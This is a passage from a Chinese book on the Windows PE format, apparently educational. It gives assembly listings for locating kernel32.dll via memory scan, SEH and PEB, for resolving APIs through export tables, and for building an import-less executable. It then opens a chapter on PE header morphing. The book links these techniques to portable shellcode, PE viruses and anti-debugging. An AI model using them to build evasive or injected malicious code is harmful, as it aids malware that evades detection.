核心态高2GB空间供Windows操作系统使用，主要用来存放内核管理所需要用到的代码和数据。大致分配情况见表11-3。 因为动态加载不涉及内核编程，在这里就不详细介绍了。 11.1.3 HelloWorld进程空间分析 11.1.3 HelloWorld进程空间分析 本小节以HelloWorld程序为例，对其进程空间进行分析。首先，使用OD将HelloWorld.exe加载到内存中，查看虚拟地址空间的布局见图11-1和图11-2。 图 11-1 虚拟地址空间一 图 11-2 虚拟地址空间二 如果没有特殊情况（装载基地址处没有其他程序数据），程序代码所在的地址空间的位置由PE中的字段IMAGE_OPTIONAL_HEADER32.ImageBase来确定。从图中可以看出，进程调用的动态链接库已经全部装载或映射到了地址空间里。所以，在HelloWorld中引入的所有函数都可以在地址空间中找到，一些重要的动态链接库比如kernel32.dll，即使应用程序并没有调用其中的函数，操作系统也会早早地把它们加载到系统进程空间中，因为装载进程的函数就在这个库里。没有这个函数，任何进程就不会被创建，本章要介绍的动态加载技术就是利用了操作系统的这个特点。kernel32.dll中有不少动态加载时需要用到的重要函数，这些函数在程序进程地址空间中随手可得。通过这些函数，用户可以自己完成类似于Windows加载器的某些行为，例如，可以自己填充IAT、自己加载DLL到虚拟地址空间等操作。"},
    {"text": "11.2 Windows动态库技术 11.2 Windows动态库技术 较大的程序通常是由许多模块组成的，这些模块独立完成程序中要实现的某些功能，模块与模块间相互协作完成整个软件工作。在构造软件系统时，如果将所有模块的源代码都静态编译到最终的EXE文件中，就会使EXE过大，占用大量的硬盘空间，加载运行后占用大量的内存，不利于节约系统资源；同时，对某个模块代码的变动会导致所有模块源代码的重编译（即使大部分模块的源代码不需要这步操作），这不利于阶段性的单元测试，增加了应用程序重建的复杂性。 Windows系统平台提供了一种有效的编程和运行环境，一些具有通用功能的模块会被单独编译为独立的文件，这些文件通常以DLL为扩展名，程序开发者可以单独对这些文件实现的功能进行独立测试。当多个应用程序同时用到这一个文件时，操作系统只需要将内存中的这段代码共享即可。这种共享代码的方式不仅可以有效地减少EXE文件大小，节约系统资源；还能实现独立的功能测试，共享给需要这个功能的所有程序使用。这就是Windows动态库技术。 动态库技术是Windows最重要的实现技术之一，Windows的许多新功能、新特性都是通过DLL来实现的。其实，Windows本身就是由许多DLL组成的，它最基本的三大组成模块Kernel、GDI和User都是DLL。系统的API函数存储在DLL文件中，以下是DLL的一些特性： DLL模块中包含各种导出函数，用于向外界提供服务。DLL可以有自己的数据段，但没有自己的栈，使用与调用它的应用程序相同的栈模式；一个DLL在内存中只有一个实例；DLL实现了代码封装性；DLL的编制与具体的编程语言及编译器无关，可以通过DLL来实现混合语言编程；DLL函数中的代码所创建的任何对象（包括变量）都归调用它的线程或进程所有。 用户可以使用静态和动态两种方式来调用它。下面分别介绍这两种调用方式。 11.2.1 DLL静态调用 静态调用，也称为隐式调用，是由编译系统完成对要加载的DLL的符号进行描述，对要调用的函数的符号进行描述并写入PE文件；Windows系统则负责对要加载的PE导入表中描述的DLL符号进行加载，并记录DLL调用次数，对调用函数地址的修正等操作。由于大部分工作由操作系统来完成，所以静态调用方式简单直观，在编程中被大多数的开发者所使用。在汇编语言编程中，调用一个动态链接库的函数通常采用的方式是：把产生动态链接库时产生的\".lib\"库文件和\".inc\"包含文件加入到应用程序的工程中；想使用DLL中的函数时，直接使用函数的名字即可。例如，看以下代码： include user32.inc ;加入包含文件 includelib user32.lib ;加入库文件 ;数据段 .data szText db 'HelloWorld',0 ;代码段 .code start: invoke MessageBox,NULL,offset szText,NULL,MB_OK ;直接引用函数名字 如上所示，MessageBox函数位于动态链接库user32.dll中，所以在静态引用时注明包含文件和库文件，调用相关函数时直接使用函数名。 库文件包含了每一个DLL导出函数的符号名和可选择的标识号，以及DLL文件名，不含有实际的代码。库文件包含的信息进入到最终生成的应用程序中，被调用的DLL文件会在应用程序加载时同时加载到内存中。 11.2.2 DLL动态调用 11.2.2 DLL动态调用 动态调用又称为显式调用，是由编程者通过API函数加载和卸载DLL来达到调用DLL函数的目的。动态调用相对于静态调用来说比较复杂，但能更加有效地使用内存，是编制大型应用程序时经常使用的一种方式。在Windows系统中，与动态库调用有关的函数主要包括： LoadLibrary（或MFC的AfxLoadLibrary），装载动态链接库。 GetProcAddress，获取要引入的函数的VA，将符号名或标识号转换为DLL内部地址。 FreeLibrary（或MFC的AfxFreeLibrary），释放动态链接库。 DLL动态链接库是实现Windows应用程序共享资源、节省内存空间、提高使用效率的一个重要技术手段。常见的动态库包含导出函数和资源，也有一些动态库只包含资源，如Windows字体资源文件，称之为资源动态链接库，通常动态库以\".dll\"、\".drv\"、\".fon\"等作为后缀。 相应的Windows静态库通常以.lib结尾，Windows自己就将一些主要的系统功能以动态库模块的形式实现。Windows动态链接库在运行时被系统加载或映射到进程的虚拟空间中，使用从调用进程的虚拟地址空间分配的内存，成为调用进程的一部分，DLL也只能被该进程的线程所访问，DLL的句柄可以被调用进程使用；同样，调用进程的句柄也可以被DLL使用。"},
    {"text": "11.2.3 导出函数起始地址实例 11.2.3 导出函数起始地址实例 程序引进动态链接库的最终目的是要调用动态链接库里的函数代码。所以，获取动态链接库中导出函数的起始地址是动态加载技术的关键所在。本小节以user32.dll中的MessageBoxA函数为例，来看如何获取该函数在动态链接库中的起始地址。系统的user32.dll中存放了大量的与用户界面有关的函数，其中就包括弹出对话框的函数MessageBoxA，以下内容是使用PEInfo小工具获取到的关于user32.dll的导出函数的部分资料： 现在假设user32.dll被动态装载到内存的0x77df0000处（事实上，在Windows XP中，user32.dll总是被加载到这个位置），那么MessageBoxA函数的入口地址就应该是： 0x77df0000+0x00026544=0x77e16544 如果一个函数在进程地址空间的VA确定以后，最简单的调用方式是通过以下的代码来调用它： push xx ;显示往栈里压入该函数的参数，个数由调用的函数决定 …… mov eax,77e16544 ;将函数的VA地址给eax Call eax 这种方法称为硬编码，即将一些具有固定值的变量直接赋以值的方式进行编程。如上例中MessageBoxA函数的VA就是直接用常量的方法写入到寄存器的，对应代码为： mov eax,77e16544 为了能提高程序的兼容性，一般是不建议使用这种方法的，因此，需要开发者使用其他方法将这些固定值计算出来。计算一个导出函数的VA需要熟悉导出表的结构，这部分知识可以参照第5章内容。"},
    {"text": "11.3 在编程中使用动态加载技术 11.3 在编程中使用动态加载技术 本节介绍如何在编程中使用动态加载技术，简单来说，需要经过以下三步： 步骤1 获取kernel32.dll的基地址。"},
    {"text": "kernel32.dll文件加载到进程中的基地址可以通过以下硬编码的方式获得： （1）代码运行期前通过dumpbin.exe获取 通过运行dumpbin.exe可以在代码部署前期获取到kernel32.dll的基地址，该地址位于kernel32.dll文件的头部。 运行命令如下（黑体部分）： C:\\＞dumpbin/headers c:\\windows\\system32\\kernel32.dll＞a.txt 运行结果存储在当前目录下的a.txt文件中。 打开a.txt，显示内容如下： Microsoft(R)COFF Binary File Dumper Version 5.12.8078 Copyright(C)Microsoft Corp 1992-1998.All rights reserved. Dump of file C:\\windows\\system32\\kernel32.dll …… OPTIONAL HEADER VALUES 10B magic# 7 .10 linker version 83200 size of code 95800 size of initialized data 0 size of uninitialized data B64E RVA of entry point 1000 base of code 80000 base of data 7C800000 image base …… 上述所列内容加黑部分即为模块kernel32.dll加载到进程后的默认基地址。 （2）代码运行期前通过PEInfo获取 运行本书第2章编写的小工具PEInfo，打开文件C:\\windows\\system32\\kernel32.dll，也可以从输出的信息中获取到kernel32.dll的基地址，如下所示： 上述所列内容加黑部分为kernel32.dll加载到进程后的默认基地址。 （3）代码调试期通过OD获取 在使用OD调试一个进程时，kernel32.dll会被系统装入到进程地址空间，通过OD菜单的选项“查看”|“内存”即可查看用户地址空间的分配，如图11-2所示。 从图中就可以看到kernel32.dll在进程地址空间中的基地址，也是0x7c800000（至少在我的机器上是这样的）。"},
    {"text": "以前说过，系统在加载多个模块时，如果发现两个模块的基地址相同，系统会改变其中一个模块的基地址，以保证两个模块加载到进程地址空间的不同位置。"},
    {"text": "在Windows XP系统中，只有两个动态链接库模块是保证在所有进程的地址空间中都存在的，而且这两个动态链接库总是被加载到该动态链接库文件头部IMAGE_OPTIONAL_HEADER32.ImageBase指定的位置，那就是ntdll.dll和kernerl32.dll。"},
    {"text": "2.从进程地址空间开始搜索 前面提到，kernel32.dll会保证出现在每一个进程的地址空间中，只要扫描当前进程的地址空间，寻找PE特征字符串，分析导出表，查找GetProcAddress函数（笔者称为特征函数）； 如果找到，则默认该PE特征位置附近即为kernel32.dll的地址空间； 最后，通过对齐特性获取kernel32.dll的基地址。"},
    {"text": "代码清单11-1 从进程地址空间搜索kernel32.dll的基地址（chapter11\\searchKernelBase.asm） 1 ;------------------------ 2 ;获取kernel32.dll的基地址 3 ;从进程地址空间搜索kernel32.dll的基地址 4 ;戚利 5 ;2010.6.27 6 ;------------------------ 7 .386 8 .model flat,stdcall 9 option casemap:none 10 11 include windows.inc 12 include user32.inc 13 includelib user32.lib 14 include kernel32.inc 15 includelib kernel32.lib 16 17 ;数据段 18 .data 19 20 szText db 'kernel32.dll的基地址为%08x',0 21 szOut db '%08x',0dh,0ah,0 22 szBuffer db 256 dup(0) 23 24 ;代码段 25 .code 26 27 start: 28 29 call loc0 30 db 'GetProcAddress',0 ;特征函数名 31 32 loc0: 33 pop edx ;edx中存放了特征函数名所在地址 34 push edx 35 mov ebx,7ffe0000h ;从高地址开始 36 37 loc1: 38 cmp dword ptr [ebx],905A4Dh 39 JE loc2 ;判断是否为MS DOS头标志 40 41 loc5: 42 sub ebx,00010000h ;内存中按照10000h字节对齐 43 44 pushad ;保护寄存器1 45 invoke IsBadReadPtr,ebx,2 ;判断指针是否为坏指针 46 .if eax 47 popad ;恢复寄存器1 48 jmp loc5 49 .endif 50 popad ;恢复寄存器1 51 52 jmp loc1 53 54 55 56 loc2: ;遍历导出表 57 mov esi,dword ptr [ebx+3ch] 58 add esi,ebx ;esi指向PE头 59 mov esi,dword ptr [esi+78h] 60 nop 61 62 .if esi == 0 63 jmp loc5 64 .endif 65 add esi,ebx ;esi指向数据目录中的导出表 66 mov edi,dword ptr [esi+20h] ;指向导出表的AddressOfNames 67 add edi,ebx ;edi为AddressOfNames数组起始位置 68 mov ecx,dword ptr [esi+18h] ;指向导出表的NumberOfNames 69 push esi 70 71 72 xor eax,eax 73 loc3: 74 push edi 75 push ecx 76 mov edi,dword ptr [edi] 77 add edi,ebx ;edi指向了第一个函数的字符串名起始 78 mov esi,edx ;esi指向了特征函数名起始 79 xor ecx,ecx 80 mov cl,0eh ;特征函数名的长度 81 repe cmpsb 82 pop ecx 83 pop edi 84 je loc4 ;找到特征函数，转移 85 add edi,4 ;edi移动到下一个函数名所在地址 86 inc eax ;eax为计数 87 loop loc3 88 89 jmp loc5 90 loc4: 91 ;特征函数匹配成功，输出模块基地址 92 93 invoke wsprintf,addr szBuffer,addr szText,ebx 94 invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 95 ret 96 end start 行30定义了要查找的特征函数名GetProcAddress。"},
    {"text": "这种大范围地匹配特征函数查找kernel32.dll的方法在使用时存在一个很明显的问题：如果一个进程中加载的其他模块的导出表中也有相同的特征函数，这种定位方法就会出现错误。"},
    {"text": "由于kernel32.dll模块出现在所有进程的虚拟地址空间里，对该模块地址范围内的调用指令和跳转指令比比皆是，通过从深入了解Windows操作系统机制入手，查找Windows操作系统的各种机制对应的数据结构，或相关信息中是否涉及要查找的kernel32.dll的相关地址是现在常用的一种方法。"},
    {"text": "因为操作系统默认分配的机构化异常处理程序指向kernel32._except _handler3函数，通过确定该函数的地址，就可以将地址向前对齐从而找到kernel32.dll的基地址。"},
    {"text": "代码清单11-2 通过SEH框架查找kernel32.dll的基地址（chapter11\\sehKernelBase.asm） 27 start: 28 29 assume fs:nothing 30 mov eax,fs:[0] 31 inc eax ;如果eax=0FFFFFFFFh，则设置为0 32 loc1: 33 dec eax 34 mov esi,eax ;esi指向EXCEPTION_REGISTRATION 35 mov eax,[eax] ;eax=EXCEPTION_REGISTRATION.prev 36 inc eax ;如果eax=0FFFFFFFFh，则设置为0 37 jne loc1 38 lodsd ;跳过0FFFFFFFFh 39 lodsd ;获取kernel32._except _handler地址 40 xor ax,ax ;按照10000h对齐，舍入 41 jmp loc3 42 43 loc2: 44 sub eax,10000h 45 loc3: 46 47 cmp dword ptr [eax],905A4Dh 48 jne loc2 49 50 ;输出模块基地址 51 invoke wsprintf,addr szBuffer,addr szText,eax 52 invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 53 ret 54 end start 由于该方法使用了操作系统已经公开的特性，所以，其适应性非常强，而且几乎可以在大部分版本的NT操作系统中使用，且代码的长度也不算大。"},
    {"text": "以下所示为该结构中与本章查找kernel32.dll基地址有关的字段： typedef struct _PEB { UCHAR InheritedAddressSpace ;//00h UCHAR ReadImageFileExecOptions ;//01h UCHAR BeingDebugged ;//02h进程是否在被调试状态 UCHAR Spare ;//03h PVOID Mutant ;//04h PVOID ImageBaseAddress ;//08h进程映像基地址 PPEB_LDR_DATA Ldr ;//0Ch加载的其他模块信息 …… 如上所示，Ldr指向了一个结构，该结构的详细定义为： typedef struct _PEB_LDR_DATA{ ULONG Length ; BOOLEAN Initialized ; PVOID SsHandle ; LIST_ENTRY InLoadOrderModuleList ; LIST_ENTRY InMemoryOrderModuleList ; LIST_ENTRY InInitializationOrderModuleList ; }PEB_LDR_DATA,*PPEB_LDR_DATA ; 以上三个LIST_ENTRY记录了当前进程加载的模块。"},
    {"text": "LIST_ENTRY指向了数据结构_LDR_MODULE，该结构详细定义如下： typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList ;//0000h LIST_ENTRY InMemoryOrderModuleList ;//0008h LIST_ENTRY InInitializationOrderModuleList ;//0010h PVOID BaseAddress ;//0018h PVOID EntryPoint ;//001ch ULONG SizeOfImage ;//0020h UNICODE_STRING FullDllName ;//0024h UNICODE_STRING BaseDllName ;//002ch ULONG Flags ;//0034h SHORT LoadCount ;//0038h SHORT TlsIndex ;//003ah LIST_ENTRY HashTableEntry ;//003ch ULONG TimeDateStamp ;//0044h }LDR_MODULE,*PLDR_MODULE ; 有了以上的分析，就可以通过PEB查找到kernel32.dll的基地址，部分代码参见代码清单11-3，完整代码请参阅随书文件chapter11\\pebKernelBase.asm。 代码清单11-3 通过PEB获取kernel32.dll的基地址主要代码（chapter11\\pebKernelBase.asm） 27 start: 28 29 assume fs:nothing 30 mov eax,fs:[30h] ;获取PEB所在地址 31 mov eax,[eax+0ch] ;获取PEB_LDR_DATA结构指针 32 mov esi,[eax+1ch] ;获取InInitializationOrderModuleList链表头 33 ;第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针 34 lodsd ;获取双向链表当前节点后继的指针 35 mov eax,[eax+8] ;获取kernel32.dll的基地址 36 37 ;输出模块基地址 38 invoke wsprintf,addr szBuffer,addr szText,eax 39 invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 40 ret 41 end start 可以看出，使用这种方法最终生成的字节码应该算是比较少的了。 以上简单介绍了四种获取kernel32.dll基地址的方法，这四种方法各有利弊，大家可以根据不同的目的，不同的环境选择使用不同的方法。 获取kernel32.dll的基地址是使用动态API技术的第一步，下一步是获取kernel32.dll的两个重要API函数的地址。"},
    {"text": "11.3.2 获取GetProcAddress地址 11.3.2 获取GetProcAddress地址 kernel32.dll被装载入内存后，除了一些可以丢弃的节外，其他内容都会被装入，这样kernel32.dll的导入表、导出表、文件头等数据都会存放在程序的地址空间中；"},
    {"text": "所以，只要有了kernel32.dll的基地址，通过导出表就可以找到kernel32.dll中的两个重量级的函数： LoadLibrary（动态装入某个dll模块） GetProcAddress（从被装入的模块中获取API函数的地址） 事实上，有了kernel32.dll的基地址和函数GetProcAddress的VA以后，通过调用该函数即可获取kernel32.dll中其他所有函数的地址，这其中包括LoadLibraryA的地址。"},
    {"text": "以下是函数GetProcAddress的完整定义： FARPROC GetProcAddress( HMODULE hModule,//DLL模块句柄 LPCSTR lpProcName//函数名 ); 两个参数解释如下： hModule：包含此函数的DLL模块的句柄。"},
    {"text": "以下是通过调用GetProcAddress获取某个特定名称的函数的代码示例： start: invoke LoadLibrary,addr libName ;libName是动态链接库的文件名 ;-------------------------------------------------------- ;调用LoadLibrary，其参数是要加载的动态链接库的名称 ;如果调用成功，将返回该DLL的句柄，否则返回NULL ;该句柄可以传给FreeLibrary函数或其他需要动态链接库句柄的函数 ;--------------------------------------------------------- .if eax == NULL invoke MessageBox,NULL,addr DllNotFound,addr AppName,MB_OK .else mov hLib,eax ;存储动态链接库句柄 invoke GetProcAddress,hLib,addr FunctionName ;--------------------------------------------------------- ;当得到了动态链接库的句柄后，把它传给GetProcAddress函数 ;再把要调用的函数的名称也传给该函数，调用之 ;如果调用成功，会返回想要的函数的地址，失败的话返回NULL ;除非卸载该动态链接库否则函数的地址是不会改变的 ;所以您可以把它保存到一个全局变量中以备后用 ;-------------------------------------------------------- .if eax == NULL invoke MessageBox,NULL,addr FunctionNotFound,addr AppName,MB_OK .else mov TestHelloAddr,eax ;将函数地址存储在变量TestHelloAddr中 call [TestHelloAddr] ;---------------------------------------------------------- ;地址获取到以后，您就可以和调用其他函数一样调用该函数了 ;调用时要把包含函数地址信息的变量用方括号括起来 ;---------------------------------------------------------- .endif invoke FreeLibrary,hLib ;---------------------------------------------------------- ;函数调用完毕记得要使用FreeLibrary释放动态链接库 ;---------------------------------------------------------- 代码清单11-4列出了函数_getApi，在知道了某个动态链接库的基地址，并知道要调用的函数的名称的情况下，可以通过调用该函数得到函数地址。 代码清单11-4 通过导出表获取指定字符串的API函数的调用地址（chapter11\\getTwoImportantFuns.asm的_getApi函数） 1 ;------------------------------- 2 ;获取指定字符串的API函数的调用地址 3 ;入口参数：_hModule为动态链接库的基地址，_lpApi为API函数名的首址 4 ;出口参数：eax为函数在虚拟地址空间中的真实地址 5 ;------------------------------- 6 _getApi proc _hModule,_lpApi 7 local @ret 8 local @dwLen 9 10 pushad 11 mov @ret,0 12 ;计算API字符串的长度，含最后的0 13 mov edi,_lpApi 14 mov ecx,-1 15 xor al,al 16 cld 17 repnz scasb 18 mov ecx,edi 19 sub ecx,_lpApi 20 mov @dwLen,ecx 21 22 ;从PE文件头的数据目录获取导出表地址 23 mov esi,_hModule 24 add esi,[esi+3ch] 25 assume esi:ptr IMAGE_NT_HEADERS 26 mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress 27 add esi,_hModule 28 assume esi:ptr IMAGE_EXPORT_DIRECTORY 29 30 ;查找符合名称的导出函数名 31 mov ebx,[esi].AddressOfNames 32 add ebx,_hModule 33 xor edx,edx 34 .repeat 35 push esi 36 mov edi,[ebx] 37 add edi,_hModule 38 mov esi,_lpApi 39 mov ecx,@dwLen 40 repz cmpsb 41 .if ZERO ? 42 pop esi 43 jmp @F 44 .endif 45 pop esi 46 add ebx,4 47 inc edx 48 .until edx＞=[esi].NumberOfNames 49 jmp _ret 50 @@: 51 ;通过API名称索引获取序号索引，再获取地址索引 52 sub ebx,[esi].AddressOfNames 53 sub ebx,_hModule 54 shr ebx,1 55 add ebx,[esi].AddressOfNameOrdinals 56 add ebx,_hModule 57 movzx eax,word ptr [ebx] 58 shl eax,2 59 add eax,[esi].AddressOfFunctions 60 add eax,_hModule 61 62 ;从地址表得到导出函数的地址 63 mov eax,[eax] 64 add eax,_hModule 65 mov @ret,eax 66 67 _ret: 68 assume esi:nothing 69 popad 70 mov eax,@ret 71 ret 72 _getApi endp 使用这个函数传入kernel32.dll的基地址，然后再传入要获取的两个重要函数的名称字符串，即可获得这两个函数的VA。 有了这两个地址，以后所有对DLL函数的调用就无需交给Windows加载器管理，直接在程序中实施动态加载即可。"},
    {"text": "11.3.3 在代码中使用获取的函数地址编程 11.3.3 在代码中使用获取的函数地址编程 接下来看使用动态加载技术的最后一步，即在程序设计中使用动态API技术的方法。在汇编语言编程中，通常的做法是先声明函数本身，然后再声明对函数的引用，最后通过定义函数引用的实例来调用动态获取到的函数。大致的方法如下： ;声明函数 _QLMessageBoxA typedef proto :dword,:dword,:dword,:dword ;声明函数引用 _ApiMessageBoxA typedef ptr _QLMessageBoxA …… ;定义函数 _messageBox _ApiMessageBoxA ? …… ;动态获取函数_messageBox的地址 ;调用函数 invoke _messageBox,NULL,offset szText,NULL,MB_OK 如果程序中所有引用的其他动态链接库的函数全部如上述方法定义，那么通过这种方法最终编译链接可以得到一个没有导入表的PE文件。这是动态加载技术在程序设计中的常用方法，其实还有一种方法，这种方法不需要我们实现定义函数。看随书文件chapter11\\createDir.asm的例子。为了能调用定义的函数，在数据段构造了如下的数据结构： CreateDir dd ? ;CreateDirectoryA函数的真实地址 lpCreateDir dd ? ;未用 jmpCreateDir db 0ffh,025h ;这是一个跳转指令，即段内跳转jmp jmpCDOffset dd ? ;这里紧跟着要跳转到的偏移，该偏移指向CreateDir 然后看主程序中对各变量的赋值、处理和调用： mov eax,offset CreateDir ;将记录真实地址的数据的偏移放到jmp指令后 mov jmpCDOffset,eax invoke _GetKernelBase,dwEsp .if eax mov hDllKernel32,eax invoke _getApi,hDllKernel32,addr szGetProcAddress mov _GetProcAddress,eax .if _GetProcAddress invoke _GetProcAddress,hDllKernel32,addr szCreateDir mov CreateDir,eax ;将获取的真实地址送给CreateDir push NULL ;传入两个参数，注意是从右往左传 mov eax,offset szDir push eax mov eax,offset jmpCreateDir ;调用CreateDirectoryA call eax 使用OD调试最终生成的createDir.exe文件，在call eax处设置断点，然后获取此时的数据区，数据如图11-4所示。 图 11-4 程序运行期数据段截图 从图中可以看到，0x00403000（变量CreateDir）处的值为：007C8217AC。这个值恰好是虚拟内存中kernel32!CreateDirectoryA函数所处的位置。这一结论从PEInfo对kernel32.dll的分析中也可以看出： kernel32.dll的基地址为0x7C800000，加上函数偏移0x000217ac结果刚好是0x7c8217ac。 0x00403008(jmpCreateDir)处为0x25ff，这是指令字节码即jmp。 0x0040300a(jmpCDOffset)处为0x00403000，这是指令操作数，它刚好指向CreateDir，也就是函数CreateDirectoryA的真实VA地址。 两个位置的数据合在一起就是： jmp dword ptr [00403000] ;也就是jmp 7c8217ac 这就是第二种动态调用函数的方法，在以后的编程中大家也会看到大量的使用这种方法的代码。"},
    {"text": "11.3.4 动态API技术编程实例 11.3.4 动态API技术编程实例 下面我们就使用动态加载技术开始编写动态API技术下的helloworld.asm，代码清单11-5是完整的源代码： 代码清单11-5 使用了动态加载技术的HelloWorld（chapter11\\helloworld.asm） 1 ;------------------------ 2 ;动态API技术下的HelloWorld 3 ;戚利 4 ;2010.6.27 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 12 13 ;声明函数 14 _QLGetProcAddress typedef proto :dword,:dword 15 ;声明函数引用 16 _ApiGetProcAddress typedef ptr _QLGetProcAddress 17 18 _QLLoadLib typedef proto :dword 19 _ApiLoadLib typedef ptr _QLLoadLib 20 21 _QLMessageBoxA typedef proto :dword,:dword,:dword,:dword 22 _ApiMessageBoxA typedef ptr _QLMessageBoxA 23 24 ;数据段 25 .data 26 27 szText db 'HelloWorldPE',0 28 szGetProcAddr db 'GetProcAddress',0 29 szLoadLib db 'LoadLibraryA',0 30 szMessageBox db 'MessageBoxA',0 31 32 user32_DLL db 'user32.dll',0,0 33 34 ;定义函数 35 _getProcAddress _ApiGetProcAddress ? 36 _loadLibrary _ApiLoadLib ? 37 _messageBox _ApiMessageBoxA ? 38 39 40 hKernel32Base dd ? 41 hUser32Base dd ? 42 lpGetProcAddr dd ? 43 lpLoadLib dd ? 44 45 46 ;代码段 47 .code 48 ;------------------------------------ 49 ;根据kernel32.dll中的一个地址获取它的基地址 50 ;------------------------------------ 51 _getKernelBase proc _dwKernelRetAddress 52 local @dwRet 53 54 pushad 55 mov @dwRet,0 56 57 ;查找指令所在页的边界，以1000h对齐 58 mov edi,_dwKernelRetAddress 59 and edi,0ffff0000h 60 61 .repeat 62 63 ;找到kernel32.dll的DOS头 64 .if word ptr [edi] == IMAGE_DOS_SIGNATURE 65 mov esi,edi 66 add esi,[esi+003ch] 67 68 ;找到kernel32.dll的PE头标识 69 .if word ptr [esi] == IMAGE_NT_SIGNATURE 70 mov @dwRet,edi 71 .break 72 .endif 73 .endif 74 sub edi,010000h 75 .break.if edi＜070000000h 76 .until FALSE 77 popad 78 mov eax,@dwRet 79 ret 80 _getKernelBase endp 81 82 ;------------------------------- 83 ;获取指定字符串的API函数的调用地址 84 ;入口参数：_hModule为动态链接库的基地址 85 ;_lpApi为API函数名的首址 86 ;出口参数：eax为函数在虚拟地址空间中的真实地址 87 ;------------------------------- 88 _getApi proc _hModule,_lpApi 89 local @ret 90 local @dwLen 91 ┇ 152 mov eax,@ret 153 ret 154 _getApi endp 155 156 start: 157 ;取当前函数的栈顶值 158 mov eax,dword ptr [esp] 159 ;获取kernel32.dll的基地址 160 invoke _getKernelBase,eax 161 mov hKernel32Base,eax 162 163 ;从基地址出发搜索GetProcAddress函数的首址 164 invoke _getApi,hKernel32Base,addr szGetProcAddr 165 mov lpGetProcAddr,eax 166 mov _getProcAddress,eax ;为函数引用赋值GetProcAddress 167 168 ;使用GetProcAddress函数的首址 169 ;传入两个参数调用GetProcAddress函数 170 ;获得LoadLibraryA的首址 171 172 invoke _getProcAddress,hKernel32Base,addr szLoadLib 173 mov _loadLibrary,eax 174 175 ;使用LoadLibrary获取user32.dll的基地址 176 invoke _loadLibrary,addr user32_DLL 177 mov hUser32Base,eax 178 179 ;使用GetProcAddress函数的首址，获得函数MessageBoxA的首址 180 invoke _getProcAddress,hUser32Base,addr szMessageBox 181 mov _messageBox,eax ;调用函数MessageBoxA 182 invoke _messageBox,NULL,offset szText,NULL,MB_OK 183 184 ret 185 end start 上述代码中，获取kernel32.dll基地址时使用了另外一种技术。一个汇编程序，在初次被加载到内存运行主函数前，操作系统会将kernel32.dll中的某个地址作为返回值压入栈。从栈中取出该值，就能通过对齐特性反查到kernel32.dll被加载到进程地址空间的起始地址，由函数_getKernelBase实现（代码行48～80）。 程序中用到的其他动态链接库的所有函数的调用，均采用第一种方法设计，即按照常规声明函数、定义函数、动态获取函数地址的方法。 从代码清单中可以看到，在整个程序的设计中没有见到一个真正的API函数调用，因为调用的都是自己声明和定义的函数，比如_getProcAddress、_loadLibrary和_messageBox。程序自己从内存中取到了这些API的真实地址，然后仿照API函数本身的定义复制成另外一个自己命名的函数而已，其实最终调用的还是Windows动态链接库里的API函数。 使用PEInfo测试最终生成的PE文件，显示PE文件没有导入表，并不是因为采用了非常规的PE改动技术，使得程序无法探测到导入表，而是因为程序中确实没有直接使用Windows API函数，自然就没有导入表了。但精彩的是，程序却依然可以运行！这就是程序员能从动态加载技术得到的最大的收益。"},
    {"text": "11.4 小结 11.4 小结 本章描述了DLL的静态和动态加载技术，讲述了四种常见的kernel32.dll基地址获取方法，然后通过遍历PE的导出表得到两个重量级函数GetProcAddress和LoadLibrary的地址，最后介绍了在汇编程序设计中使用动态API加载技术的方法和技巧，并给出了一个完全以动态加载技术实现的实例HelloWorld.asm。 读者掌握了API函数的动态定位技术，结合前面讲过的代码重定位技术，就可以创造出可移植的ShellCode，降低为PE打补丁时设计补丁工具的难度，同时对理解嵌入PE病毒的编写也会有很大帮助。 第二部分 PE进阶 第二部分 PE进阶 第12章 PE变形技术 第13章 PE补丁技术 第14章 在PE空闲空间中插入程序 第15章 在PE间隙中插入程序 第16章 在PE新增节中插入程序 第17章 在PE最后一节中插入程序 第12章 PE变形技术 本章将研究PE文件的可塑性，通过对PE文件进行变形，看是否能通过操作系统的PE加载器。本章的目标是通过手工打造一些小的PE程序，以便探究PE文件结构与操作系统PE加载器之间的关系。 研究PE变形技术不局限于了解PE加载器加载PE的机制，还在于通过变形可以实现反调试、运行劫持等。 12.1 变形技术的分类 所谓变形是指通过改变链接器生成的PE文件内容，扩大或缩小文件尺寸，用以测试PE加载器的机制及健壮性。本节主要讲述静态PE文件中的四种变形技术，它们依次是： 结构重叠技术 空间调整技术 数据转移技术 数据压缩技术 下面分别介绍这四种变形技术。 12.1.1 结构重叠技术 结构重叠技术是指在不影响正常性能的前提下，将某些数据结构进行重叠的技术。在缩小PE的变形中将大量使用这种技术。现在举例说明，以下是一个使用了结构重叠的PE文件头部字节码： 该文件头部就是典型的IMAGE_DOS_HEADER和IMAGE_NT_HEADERS两个结构的重叠。 首先分开来看，如果把这部分数据看成是IMAGE_DOS_HEADER，则各部分的值为： 可以看到，指向PE文件头部的字段依然是在偏移3Ch处。IMAGE_DOS_HEADER的40个字节一个不缺，所以，它是一个完整的DOS MZ头结构。 由于两个结构并不是从一开始就重叠，所以在IMAGE_DOS_HEADER结构的0ch偏移处两个结构开始重叠。从该位置处开始的IMAGE_NT_HEADERS结构各字段的值分别是： 从上面的分析可以看出，两个结构从以下字段开始发生重叠： IMAGE_NT_HEADERS.Signature IMAGE_DOS_HEADER.e_maxalloc+IMAGE_DOS_HEADER.e_ss 两个结构中的字段发生了重叠，结构自然也就重叠了。那么为什么结构重叠了却没有发生加载错误呢？得益于以下三点： 1）被覆盖的数据可能是另一个结构中无用的数据。 2）有用的数据可能只对一个结构起作用，但有时被覆盖的数据在两个结构中都有用。此种情况下发生的重叠必须保证重叠的字段在两个结构中拥有相同值。 3）PE加载器并不检测所有的字段。 重叠以后的两个数据结构关系见图12-1。 图 12-1 结构重叠示意图 从图中可以看出，重叠以后的数据明显变少了。 12.1.2 空间调整技术 12.1.2 空间调整技术 本小节以不固定大小的数据块DOS STUB为例介绍空间调整技术。具体思路是，通过调整字段IMAGE_DOS_HEADER.e_lfanew的值，实现动态地扩充或缩小DOS STUB块空间，从而达到PE变形的目的。 这里以第6章的免导入、免重定位的HelloWorld1_1.exe作为蓝本，目标是将该PE文件扩充一个内存页大小。以下是详细的测试步骤： 使用FlexHex建立一个大小为5120字节的HelloWorld1_10.exe程序，并执行以下操作： 步骤1 